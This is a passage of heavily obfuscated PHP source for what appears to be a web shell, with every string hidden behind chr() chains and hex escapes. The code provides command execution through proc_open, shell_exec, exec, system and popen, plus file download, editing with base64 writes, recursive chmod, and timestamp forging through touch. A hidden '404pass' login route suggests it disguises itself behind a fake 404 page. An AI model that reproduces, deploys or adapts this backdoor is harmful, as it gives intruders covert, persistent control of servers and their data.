r(102).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(62).chr(80).chr(68).chr(70).chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), "\x73\x68\x65\x65\x74" => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . chr(34).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(54).chr(32).chr(51).chr(104).chr(49).chr(50).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(50).chr(32).chr(50).chr(118).chr(49).chr(52).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(32).chr(50).chr(72).chr(54).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(45).chr(50).chr(86).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(111).chr(112).chr(97).chr(99).chr(105).chr(116).chr(121).chr(61).chr(34).chr(46).chr(49).chr(50).chr(34).chr(47).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(56).chr(32).chr(56).chr(104).chr(56).chr(77).chr(56).chr(32).chr(49).chr(50).chr(104).chr(56).chr(77).chr(56).chr(32).chr(49).chr(54).chr(104).chr(56).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(34).chr(50).chr(34).chr(47).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), chr(122).chr(105).chr(112) => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . "\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x36\x20\x33\x68\x37\x6c\x35\x20\x35\x76\x31\x31\x61\x32\x20\x32\x20\x30\x20\x30\x31\x2d\x32\x20\x32\x48\x36\x61\x32\x20\x32\x20\x30\x20\x30\x31\x2d\x32\x2d\x32\x56\x35\x22\x20\x66\x69\x6c\x6c\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x2e\x31\x32\x22\x2f\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x31\x20\x35\x68\x32\x76\x32\x68\x2d\x32\x76\x32\x68\x32\x76\x32\x68\x2d\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x2f\x3e\x3c\x2f\x73\x76\x67\x3e", "\x64\x62" => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . chr(34).chr(62).chr(60).chr(101).chr(108).chr(108).chr(105).chr(112).chr(115).chr(101).chr(32).chr(99).chr(120).chr(61).chr(34).chr(49).chr(50).chr(34).chr(32).chr(99).chr(121).chr(61).chr(34).chr(54).chr(34).chr(32).chr(114).chr(120).chr(61).chr(34).chr(56).chr(34).chr(32).chr(114).chr(121).chr(61).chr(34).chr(51).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(111).chr(112).chr(97).chr(99).chr(105).chr(116).chr(121).chr(61).chr(34).chr(46).chr(49).chr(50).chr(34).chr(47).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(52).chr(32).chr(54).chr(118).chr(49).chr(50).chr(99).chr(48).chr(32).chr(49).chr(46).chr(55).chr(32).chr(51).chr(46).chr(54).chr(32).chr(51).chr(32).chr(56).chr(32).chr(51).chr(115).chr(56).chr(45).chr(49).chr(46).chr(51).chr(32).chr(56).chr(45).chr(51).chr(86).chr(54).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(110).chr(111).chr(110).chr(101).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(34).chr(50).chr(34).chr(47).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), "\x73\x65\x61\x72\x63\x68" => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . "\x22\x3e\x3c\x63\x69\x72\x63\x6c\x65\x20\x63\x78\x3d\x22\x31\x31\x22\x20\x63\x79\x3d\x22\x31\x31\x22\x20\x72\x3d\x22\x37\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x2f\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x32\x30\x20\x32\x30\x6c\x2d\x33\x2d\x33\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x2f\x3e\x3c\x2f\x73\x76\x67\x3e", ); return isset($_c2dea6[$_10428d]) ? $_c2dea6[$_10428d] : $_c2dea6[chr(102).chr(105).chr(108).chr(101)]; } function _f7ccdf13e($_12b178) { if (is_dir($_12b178)) return _f0e025995("\x66\x6f\x6c\x64\x65\x72"); $_912142 = strtolower(pathinfo($_12b178, PATHINFO_EXTENSION)); if (in_array($_912142, array("\x7a\x69\x70", "\x72\x61\x72", chr(55).chr(122)))) return _f0e025995(chr(122).chr(105).chr(112)); if (in_array($_912142, array(chr(106).chr(112).chr(103), "\x6a\x70\x65\x67", chr(112).chr(110).chr(103), "\x67\x69\x66", chr(119).chr(101).chr(98).chr(112), chr(98).chr(109).chr(112), chr(115).chr(118).chr(103)))) return _f0e025995(chr(105).chr(109).chr(103)); if (in_array($_912142, array("\x70\x64\x66"))) return _f0e025995(chr(112).chr(100).chr(102)); if (in_array($_912142, array(chr(99).chr(115).chr(118), "\x78\x6c\x73", chr(120).chr(108).chr(115).chr(120)))) return _f0e025995("\x73\x68\x65\x65\x74"); if (in_array($_912142, array(chr(115).chr(113).chr(108)))) return _f0e025995(chr(100).chr(98)); if (in_array($_912142, array(chr(112).chr(104).chr(112), "\x6a\x73", chr(116).chr(115), chr(99).chr(115).chr(115), "\x73\x63\x73\x73", "\x6c\x65\x73\x73", chr(104).chr(116).chr(109).chr(108), "\x68\x74\x6d", chr(120).chr(109).chr(108), chr(121).chr(109).chr(108), "\x79\x61\x6d\x6c", "\x69\x6e\x69", chr(99).chr(102).chr(103)))) return _f0e025995(chr(99).chr(111).chr(100).chr(101)); if (in_array($_912142, array(chr(116).chr(120).chr(116), "\x6d\x64", "\x6c\x6f\x67", "\x6a\x73\x6f\x6e"))) return _f0e025995(chr(116).chr(101).chr(120).chr(116)); return _f0e025995("\x66\x69\x6c\x65"); } if (!function_exists("\x5f\x66\x31\x36\x36\x63\x35\x65\x66\x61")) { function _f166c5efa($_657b80) { if (!$_657b80) return ''; if (DIRECTORY_SEPARATOR === chr(92).chr(92)) return "\x63\x64\x20\x2f\x64\x20" . escapeshellarg($_657b80) . "\x20\x26\x26\x20"; return "\x63\x64\x20" . escapeshellarg($_657b80) . "\x20\x26\x26\x20"; } } if (!function_exists(chr(95).chr(102).chr(56).chr(56).chr(102).chr(52).chr(50).chr(57).chr(53).chr(51))) { function _f88f42953($_ad931e) { if (DIRECTORY_SEPARATOR === "\x5c\x5c") return chr(99).chr(109).chr(100).chr(46).chr(101).chr(120).chr(101).chr(32).chr(47).chr(67).chr(32) . $_ad931e; return chr(47).chr(98).chr(105).chr(110).chr(47).chr(115).chr(104).chr(32).chr(45).chr(99).chr(32) . escapeshellarg($_ad931e); } } if (!function_exists("\x5f\x66\x63\x38\x36\x37\x35\x63\x36\x62")) { function _fc8675c6b($_ad931e, $_657b80 = null, $_1ce919 = 30) { if (!_f6e3566c7("\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e")) return null; $_6aa798 = array(0 => array(chr(112).chr(105).chr(112).chr(101), chr(114)), 1 => array(chr(112).chr(105).chr(112).chr(101), chr(119)), 2 => array(chr(112).chr(105).chr(112).chr(101), "\x77")); $_f97e28 = array(); $_bb759f = @proc_open($_ad931e, $_6aa798, $_f97e28, $_657b80 ?: null, null); if (!is_resource($_bb759f)) return null; if (isset($_f97e28[1]) && is_resource($_f97e28[1])) @stream_set_blocking($_f97e28[1], false); if (isset($_f97e28[2]) && is_resource($_f97e28[2])) @stream_set_blocking($_f97e28[2], false); if (isset($_f97e28[0]) && is_resource($_f97e28[0])) @fclose($_f97e28[0]); $_7db828 = ''; $_0460a5 = time(); while (true) { $_66d4d3 = @proc_get_status($_bb759f); $_dd9d38 = $_66d4d3 && !empty($_66d4d3["\x72\x75\x6e\x6e\x69\x6e\x67"]); $_4078ca = array(); if (isset($_f97e28[1]) && is_resource($_f97e28[1])) $_4078ca[] = $_f97e28[1]; if (isset($_f97e28[2]) && is_resource($_f97e28[2])) $_4078ca[] = $_f97e28[2]; if ($_4078ca) { $_e908c6 = null; $_912142 = null; @stream_select($_4078ca, $_e908c6, $_912142, 1); foreach ($_4078ca as $_12b178) { $_da7ee8 = @fread($_12b178, 8192); if ($_da7ee8 !== false && $_da7ee8 !== '') $_7db828 .= $_da7ee8; } } else { usleep(100000); } if (!$_dd9d38) break; if ($_1ce919 > 0 && (time() - $_0460a5) >= $_1ce919) { @proc_terminate($_bb759f, 9); foreach ($_f97e28 as $_12b178) { if (is_resource($_12b178)) @fclose($_12b178); } @proc_close($_bb759f); return array("\x6d\x65\x74\x68\x6f\x64" => "\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e", "\x63\x6f\x64\x65" => 124, chr(111).chr(117).chr(116) => $_7db828 . "\n[timeout after {$_1ce919}s]"); } } foreach ($_f97e28 as $_12b178) { if (is_resource($_12b178)) @fclose($_12b178); } $_687096 = @proc_close($_bb759f); if ($_687096 === -1) $_687096 = null; return array(chr(109).chr(101).chr(116).chr(104).chr(111).chr(100) => chr(112).chr(114).chr(111).chr(99).chr(95).chr(111).chr(112).chr(101).chr(110), chr(99).chr(111).chr(100).chr(101) => $_687096, chr(111).chr(117).chr(116) => $_7db828); } } if (!function_exists(chr(95).chr(102).chr(52).chr(55).chr(56).chr(53).chr(55).chr(98).chr(49).chr(53))) { function _f47857b15($_ad931e, $_657b80 = null) { if (!_f6e3566c7(chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99))) return null; $_c0a0b4 = _f166c5efa($_657b80) . $_ad931e . chr(32).chr(50).chr(62).chr(38).chr(49); $_b0e45b = @shell_exec($_c0a0b4); if ($_b0e45b === null) return null; return array(chr(109).chr(101).chr(116).chr(104).chr(111).chr(100) => "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63", "\x63\x6f\x64\x65" => null, "\x6f\x75\x74" => $_b0e45b); } } if (!function_exists("\x5f\x66\x64\x61\x38\x62\x37\x32\x62\x39")) { function _fda8b72b9($_ad931e, $_657b80 = null) { if (!_f6e3566c7(chr(101).chr(120).chr(101).chr(99))) return null; $_c0a0b4 = _f166c5efa($_657b80) . $_ad931e . "\x20\x32\x3e\x26\x31"; $_17e023 = array(); $_687096 = 0; @exec($_c0a0b4, $_17e023, $_687096); return array(chr(109).chr(101).chr(116).chr(104).chr(111).chr(100) => chr(101).chr(120).chr(101).chr(99), chr(99).chr(111).chr(100).chr(101) => $_687096, "\x6f\x75\x74" => implode(chr(92).chr(110), (array)$_17e023)); } } if (!function_exists(chr(95).chr(102).chr(57).chr(101).chr(55).chr(53).chr(49).chr(51).chr(51).chr(50))) { function _f9e751332($_ad931e, $_657b80 = null) { if (!_f6e3566c7("\x73\x79\x73\x74\x65\x6d")) return null; $_c0a0b4 = _f166c5efa($_657b80) . $_ad931e . chr(32).chr(50).chr(62).chr(38).chr(49); ob_start(); @system($_c0a0b4, $_687096); $_b0e45b = ob_get_clean(); return array(chr(109).chr(101).chr(116).chr(104).chr(111).chr(100) => chr(115).chr(121).chr(115).chr(116).chr(101).chr(109), chr(99).chr(111).chr(100).chr(101) => $_687096, chr(111).chr(117).chr(116) => $_b0e45b); } } if (!function_exists(chr(95).chr(102).chr(102).chr(51).chr(100).chr(53).chr(102).chr(100).chr(49).chr(55))) { function _ff3d5fd17($_ad931e, $_657b80 = null) { if (!_f6e3566c7("\x70\x6f\x70\x65\x6e")) return null; $_c0a0b4 = _f166c5efa($_657b80) . $_ad931e . "\x20\x32\x3e\x26\x31"; $_dc43af = @popen(_f88f42953($_c0a0b4), "\x72"); if (!is_resource($_dc43af)) return null; $_7db828 = ""; while (!feof($_dc43af)) { $_da7ee8 = @fread($_dc43af, 8192); if ($_da7ee8 === false) break; $_7db828 .= $_da7ee8; } @pclose($_dc43af); return array("\x6d\x65\x74\x68\x6f\x64" => chr(112).chr(111).chr(112).chr(101).chr(110), "\x63\x6f\x64\x65" => null, chr(111).chr(117).chr(116) => $_7db828); } } if (!function_exists("\x5f\x66\x30\x31\x38\x33\x34\x64\x34\x62")) { function _f01834d4b($_ad931e, $_657b80 = null) { $_1c40e2 = _fc8675c6b($_ad931e, $_657b80, 30); if ($_1c40e2) return $_1c40e2; $_4a4cc1 = array("\x5f\x66\x34\x37\x38\x35\x37\x62\x31\x35", chr(95).chr(102).chr(100).chr(97).chr(56).chr(98).chr(55).chr(50).chr(98).chr(57), "\x5f\x66\x39\x65\x37\x35\x31\x33\x33\x32", "\x5f\x66\x66\x33\x64\x35\x66\x64\x31\x37"); foreach ($_4a4cc1 as $_922278) { if (function_exists($_922278)) { $_a47e34 = $_922278($_ad931e, $_657b80); if ($_a47e34) return $_a47e34; } } return array(chr(109).chr(101).chr(116).chr(104).chr(111).chr(100) => chr(110).chr(111).chr(110).chr(101), chr(99).chr(111).chr(100).chr(101) => 127, "\x6f\x75\x74" => chr(67).chr(111).chr(109).chr(109).chr(97).chr(110).chr(100).chr(32).chr(114).chr(117).chr(110).chr(110).chr(101).chr(114).chr(32).chr(110).chr(111).chr(116).chr(32).chr(97).chr(118).chr(97).chr(105).chr(108).chr(97).chr(98).chr(108).chr(101).chr(32).chr(111).chr(110).chr(32).chr(116).chr(104).chr(105).chr(115).chr(32).chr(80).chr(72).chr(80).chr(32).chr(98).chr(117).chr(105).chr(108).chr(100).chr(46)); } } function _fb579327c($_19de40, $_e981cf, $_4b2d17, &$_fb09a4) { if (!@chmod($_19de40, $_e981cf)) $_fb09a4 = false; if ($_4b2d17 && is_dir($_19de40)) { $_dc43af = @opendir($_19de40); if ($_dc43af !== false) { while (false !== ($_e48747 = readdir($_dc43af))) { if ($_e48747 === "\x2e" || $_e48747 === "\x2e\x2e") continue; _fb579327c($_19de40 . DIRECTORY_SEPARATOR . $_e48747, $_e981cf, true, $_fb09a4); } closedir($_dc43af); } else { $_fb09a4 = false; } } } function _f433a4a13($_19de40, $_db9ce8, $_4b2d17, &$_fb09a4) { if (!@touch($_19de40, $_db9ce8, $_db9ce8)) $_fb09a4 = false; if ($_4b2d17 && is_dir($_19de40)) { $_dc43af = @opendir($_19de40); if ($_dc43af !== false) { while (false !== ($_e48747 = readdir($_dc43af))) { if ($_e48747 === "\x2e" || $_e48747 === "\x2e\x2e") continue; _f433a4a13($_19de40 . DIRECTORY_SEPARATOR . $_e48747, $_db9ce8, true, $_fb09a4); } closedir($_dc43af); } else { $_fb09a4 = false; } } } $_c1a7c7 = isset($_GET["\x70"]) ? (string)$_GET[chr(112)] : getcwd(); if (!is_dir($_c1a7c7)) $_c1a7c7 = getcwd(); $_c1a7c7 = rtrim($_c1a7c7, DIRECTORY_SEPARATOR); if ($_c1a7c7 === "") $_c1a7c7 = DIRECTORY_SEPARATOR; $_0d50d0 = isset($_GET["\x61"]) ? $_GET[chr(97)] : ""; if ($_0d50d0 === chr(52).chr(48).chr(52).chr(112).chr(97).chr(115).chr(115) && $_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(77).chr(69).chr(84).chr(72).chr(79).chr(68)] === "\x50\x4f\x53\x54") { _f25069b4e(); $_12b178 = isset($_POST[chr(112).chr(97).chr(115).chr(115)]) ? $_POST[chr(112).chr(97).chr(115).chr(115)] : ""; if (_feb8aed15($_12b178, AUTH_PASS_HASH)) { $_SESSION["\x61\x75\x74\x68"] = true; $_SESSION["\x77\x68\x6f"] = AUTH_USER; header(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(63).chr(112).chr(61) . rawurlencode($_c1a7c7)); exit; } _f396f7573(); exit; } if ($_0d50d0 === chr(108).chr(111).chr(103).chr(105).chr(110) && $_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(77).chr(69).chr(84).chr(72).chr(79).chr(68)] === chr(80).chr(79).chr(83).chr(84)) { _f25069b4e(); $_59faa1 = isset($_POST["\x75\x73\x65\x72"]) ? $_POST["\x75\x73\x65\x72"] : ""; $_12b178 = isset($_POST[chr(112).chr(97).chr(115).chr(115)]) ? $_POST[chr(112).chr(97).chr(115).chr(115)] : ''; if (_f52b1f5c5($_59faa1, $_12b178)) { $_SESSION[chr(97).chr(117).chr(116).chr(104)] = true; $_SESSION["\x77\x68\x6f"] = $_59faa1; header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f\x70\x3d" . rawurlencode($_c1a7c7)); exit; } else { _f910e2ffb(chr(73).chr(110).chr(99).chr(111).chr(114).chr(114).chr(101).chr(99).chr(116).chr(32).chr(117).chr(115).chr(101).chr(114).chr(110).chr(97).chr(109).chr(101).chr(32).chr(111).chr(114).chr(32).chr(112).chr(97).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100)); exit; } } if (empty($_SESSION[chr(97).chr(117).chr(116).chr(104)])) { _f396f7573(); exit; } if ($_0d50d0 === chr(100).chr(111).chr(119).chr(110).chr(108).chr(111).chr(97).chr(100)) { $_2bad1d = _fd0b7ef8c($_c1a7c7, isset($_GET["\x66"]) ? $_GET[chr(102)] : ""); if (!is_file($_2bad1d) || !is_readable($_2bad1d)) { _f4b801e06(404); exit(chr(78).chr(111).chr(116).chr(32).chr(102).chr(111).chr(117).chr(110).chr(100)); } header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3a\x20\x46\x69\x6c\x65\x20\x54\x72\x61\x6e\x73\x66\x65\x72"); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d"); header(chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(68).chr(105).chr(115).chr(112).chr(111).chr(115).chr(105).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(97).chr(116).chr(116).chr(97).chr(99).chr(104).chr(109).chr(101).chr(110).chr(116).chr(59).chr(32).chr(102).chr(105).chr(108).chr(101).chr(110).chr(97).chr(109).chr(101).chr(61).chr(34) . basename($_2bad1d) . chr(34)); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20" . filesize($_2bad1d)); header("\x58\x2d\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x2d\x4f\x70\x74\x69\x6f\x6e\x73\x3a\x20\x6e\x6f\x73\x6e\x69\x66\x66"); readfile($_2bad1d); exit; } if ($_0d50d0 === "\x72\x61\x77") { $_2bad1d = _fd0b7ef8c($_c1a7c7, isset($_GET[chr(102)]) ? $_GET[chr(102)] : ''); if (!is_file($_2bad1d) || !is_readable($_2bad1d)) { _f4b801e06(404); exit("\x4e\x6f\x74\x20\x66\x6f\x75\x6e\x64"); } $_96b697 = "\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d"; if (_f6e3566c7("\x66\x69\x6e\x66\x6f\x5f\x6f\x70\x65\x6e")) { $_80f449 = @finfo_open(FILEINFO_MIME_TYPE); if ($_80f449) { $_d88afc = @finfo_file($_80f449, $_2bad1d); if ($_d88afc) $_96b697 = $_d88afc; @finfo_close($_80f449); } } elseif (_f6e3566c7(chr(109).chr(105).chr(109).chr(101).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(95).chr(116).chr(121).chr(112).chr(101))) { $_a8df0f = @mime_content_type($_2bad1d); if ($_a8df0f) $_96b697 = $_a8df0f; } header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20" . $_96b697); header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20" . filesize($_2bad1d)); header("\x58\x2d\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x2d\x4f\x70\x74\x69\x6f\x6e\x73\x3a\x20\x6e\x6f\x73\x6e\x69\x66\x66"); header(chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(68).chr(105).chr(115).chr(112).chr(111).chr(115).chr(105).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(105).chr(110).chr(108).chr(105).chr(110).chr(101).chr(59).chr(32).chr(102).chr(105).chr(108).chr(101).chr(110).chr(97).chr(109).chr(101).chr(61).chr(34) . basename($_2bad1d) . "\x22"); readfile($_2bad1d); exit; } if ($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(77).chr(69).chr(84).chr(72).chr(79).chr(68)] === "\x50\x4f\x53\x54") { _f25069b4e(); if (!function_exists("\x5f\x66\x38\x38\x66\x31\x31\x32\x64\x65")) { function _f88f112de($_aaf820) { header(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(63).chr(112).chr(61) . rawurlencode($_aaf820)); exit; } } switch ($_0d50d0) { case chr(108).chr(111).chr(103).chr(111).chr(117).chr(116): { session_destroy(); header("\x4c\x6f\x63\x61\x74\x69\x6f\x6e\x3a\x20\x3f"); exit; } case "\x6e\x65\x77\x2d\x66\x69\x6c\x65": { $_10428d = trim((string)(isset($_POST[chr(110).chr(97).chr(109).chr(101)]) ? $_POST["\x6e\x61\x6d\x65"] : "")); $_b83dd0 = isset($_POST["\x63\x6f\x6e\x74\x65\x6e\x74"]) ? (string)$_POST[chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116)] : null; if ($_10428d === "" || strpos($_10428d, DIRECTORY_SEPARATOR) !== false) { $_SESSION[chr(109).chr(115).chr(103)] = "\x4e\x65\x77\x20\x46\x69\x6c\x65\x3a\x20\x69\x6e\x76\x61\x6c\x69\x64\x20\x6e\x61\x6d\x65"; _f88f112de($_c1a7c7); } $_6a1232 = _fd0b7ef8c($_c1a7c7, $_10428d); if (file_exists($_6a1232)) { $_SESSION[chr(109).chr(115).chr(103)] = chr(78).chr(101).chr(119).chr(32).chr(70).chr(105).chr(108).chr(101).chr(58).chr(32).chr(97).chr(108).chr(114).chr(101).chr(97).chr(100).chr(121).chr(32).chr(101).chr(120).chr(105).chr(115).chr(116).chr(115); _f88f112de($_c1a7c7); } list($_fb09a4, $_365687) = _fce102360($_6a1232, $_b83dd0); $_SESSION["\x6d\x73\x67"] = $_fb09a4 ? ("New File OK via {$_365687}: " . $_10428d) : (chr(78).chr(101).chr(119).chr(32).chr(70).chr(105).chr(108).chr(101).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32) . $_365687); _f88f112de($_c1a7c7); } case chr(110).chr(101).chr(119).chr(45).chr(100).chr(105).chr(114): { $_10428d = trim((string)(isset($_POST["\x6e\x61\x6d\x65"]) ? $_POST["\x6e\x61\x6d\x65"] : "")); if ($_10428d === '' || strpos($_10428d, DIRECTORY_SEPARATOR) !== false) { $_SESSION[chr(109).chr(115).chr(103)] = chr(78).chr(101).chr(119).chr(32).chr(70).chr(111).chr(108).chr(100).chr(101).chr(114).chr(58).chr(32).chr(105).chr(110).chr(118).chr(97).chr(108).chr(105).chr(100).chr(32).chr(110).chr(97).chr(109).chr(101); _f88f112de($_c1a7c7); } $_6a1232 = _fd0b7ef8c($_c1a7c7, $_10428d); if (file_exists($_6a1232)) { $_SESSION[chr(109).chr(115).chr(103)] = "\x4e\x65\x77\x20\x46\x6f\x6c\x64\x65\x72\x3a\x20\x61\x6c\x72\x65\x61\x64\x79\x20\x65\x78\x69\x73\x74\x73"; _f88f112de($_c1a7c7); } $_fb09a4 = @mkdir($_6a1232, 0775, false); $_SESSION[chr(109).chr(115).chr(103)] = $_fb09a4 ? (chr(78).chr(101).chr(119).chr(32).chr(70).chr(111).chr(108).chr(100).chr(101).chr(114).chr(32).chr(79).chr(75).chr(58).chr(32) . $_10428d) : chr(78).chr(101).chr(119).chr(32).chr(70).chr(111).chr(108).chr(100).chr(101).chr(114).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100); _f88f112de($_c1a7c7); } case chr(101).chr(100).chr(105).chr(116).chr(45).chr(115).chr(97).chr(118).chr(101): { $_720a4c = _fd0b7ef8c($_c1a7c7, isset($_POST["\x66\x69\x6c\x65"]) ? $_POST["\x66\x69\x6c\x65"] : ''); $_b83dd0 = isset($_POST["\x63\x6f\x6e\x74\x65\x6e\x74"]) ? $_POST[chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116)] : ""; $_e981cf = isset($_POST[chr(109).chr(111).chr(100).chr(101)]) ? $_POST[chr(109).chr(111).chr(100).chr(101)] : chr(116).chr(120).chr(116); if (!is_file($_720a4c) || !is_writable($_720a4c)) { $_SESSION["\x6d\x73\x67"] = "\x53\x61\x76\x65\x20\x66\x61\x69\x6c\x65\x64\x20\x28\x66\x69\x6c\x65\x20\x6e\x6f\x74\x20\x77\x72\x69\x74\x61\x62\x6c\x65\x29"; _f88f112de($_c1a7c7); } if ($_e981cf === "\x62\x36\x34") { $_fffc96 = base64_decode($_b83dd0, true); if ($_fffc96 === false) { $_SESSION["\x6d\x73\x67"] = chr(83).chr(97).chr(118).chr(101).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100).chr(58).chr(32).chr(105).chr(110).chr(118).chr(97).chr(108).chr(105).chr(100).chr(32).chr(66).chr(97).chr(115).chr(101).chr(54).chr(52).chr(32).chr(100).chr(97).chr(116).chr(97); _f88f112de($_c1a7c7); } @_fa3958e10($_720a4c, $_fffc96); } else { @_fa3958e10($_720a4c, $_b83dd0); } $_SESSION["\x6d\x73\x67"] = "\x53\x61\x76\x65\x64\x3a\x20" . basename($_720a4c); _f88f112de($_c1a7c7); } case chr(114).chr(101).chr(110).chr(97).chr(109).chr(101): { $_036893 = _fd0b7ef8c($_c1a7c7, isset($_POST[chr(111).chr(108).chr(100)]) ? $_POST["\x6f\x6c\x64"] : ""); $_a469f8 = 